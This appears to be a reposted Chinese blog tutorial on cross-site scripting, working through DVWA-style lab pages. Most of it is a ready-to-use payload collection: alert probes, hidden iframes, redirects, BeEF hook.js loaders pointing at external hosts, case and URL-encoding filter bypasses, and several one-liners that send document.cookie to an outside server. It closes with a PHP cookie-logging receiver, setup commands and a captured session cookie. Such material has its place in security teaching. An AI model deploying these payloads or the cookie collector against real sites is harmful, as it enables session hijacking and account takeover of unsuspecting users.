4_跨站脚本攻击—XSS_2

构造XSS脚本

常用的HTML标签

<iframe>        创建包含另一个文档的内联框架(即行内框架),也就是在一个网页内嵌入另一个界面;

<textarea>      多行的输入文本框。


<img>           向网页中嵌入一张图片


<script>        定义客户端脚本,如JavaScript脚本;
                可以直接包含脚本语句,也可以通过src;
                指向外部脚本文件;   
                必须的type属性,规定脚本的MIME类型;
                JavaScript脚本,通常应用于图片操作,表单验证,即内容的动态更新;

常用的JavaScript方法

alert()           alert()方法用于显示一条指定消息和一个确定按钮的警告弹窗;

window.location   window.location 对象用于获得当前页面的地址(URL),并把浏览器重定向到新的界面

location.href     返回当前页面的文档的完整URL

onload             一张页面或一张图像的完整加载

onsubmit 确认按钮被点击
onerror 在加载文档或图像时放生错误

构造XSS脚本

弹窗警告

此脚本实现弹窗提示,一般作为测试或者演示使用,类似于SQL注入漏洞测试中的单引号;,一旦此脚本能执行,也就意味着后端服务器没有特殊字符进行过滤;

<>/;这也意味着,该页面存在XSS漏洞;

<script>alert('xss')</script>
<script>alert(document.cookie)</script>

   ( = %28    ) =%29

扫描二维码关注公众号,回复: 8711646 查看本文章

页面嵌套

<iframe src=http://www.baidu.com></iframe>

<iframe src=http://www.baidu.com width=300 height=200></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

 页面重定向

<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹窗加重定向

<script>alert("请移步我们的新网站");location.href="http://www.baidu.com"</script>

这时候就先弹出弹窗警告,然后跳转到了新的界面;

访问恶意代码:

<script  src="http://artdillon.gitee.io/hook.js"></script>
<script  src="http://BeEf_IP:30/hook.js"></script>    利用BeEF收集用户的cookie

巧用图片标签

<img src="#" onerror=alert("xss")>
<img src="javascript:alert('xss')">
<img src="http://BeEf_IP:30/hook.js">

绕开过滤脚本

大小写

<sCriPt>alert("xss")</SCRipt>

字符编码 采用URL编码;

<a href="http://%77%77%77%2E%62%61%69%64%75%2E%63%6F%6D">abc</a>

收集用户cookie

打开新窗口,并采用本地cookie访问目标网页

<script>window.open("http://www.baidu.com/?cookie='+document.cookie")</script>
<script>document.location="http://www.baidu.com/?cookie="+document.cookie</script>
<script>new Image().src="http://www.baidu.com/?cookie="+document.cookie;</script>
<img src="http://www.baidu.com/?cookie='+document.cookie">
<iframe src="http://www.baidu.com/?cookie='+document.cookie">

反射性XSS

低安全级别

<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {
        
 echo '<pre>';
 echo 'Hello ' . $_GET['name'];
 echo '</pre>';
    
}

?>

没有对输入的内容进行过滤

存储型XSS

<?php

if(isset($_POST['btnSign']))
{

   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);
   
   // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message);
   
   // Sanitize name input
   $name = mysql_real_escape_string($name);
  
   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
   
   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
   
}

?>

手工(低)

获取cookie

1.构建收集cookie的服务器

2.构建xss代码并植入到web服务器

3.等待肉鸡触发xss代码并将cookie发送给kali

4,cookie利用

 1

vim /var/www/html/cookie_rec.php
<?php
    $cookie=$_GET["cookie"];
    $log=fopen("cookie.txt","a");
    fwrite($log,$cookie."\n");
    fclose($log);
?>

更改权限

chown -R www-data.www-data /var/www

确认

 植入恶意语句

长度限制

F12

root@dillon:/# cat /var/www/html/cookie.txt 
security=low; PHPSESSID=msfhpsrt0ge8i75obsob1v3ln4; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

成功获取;

猜你喜欢

转载自www.cnblogs.com/delongzhang/p/12212670.html
今日推荐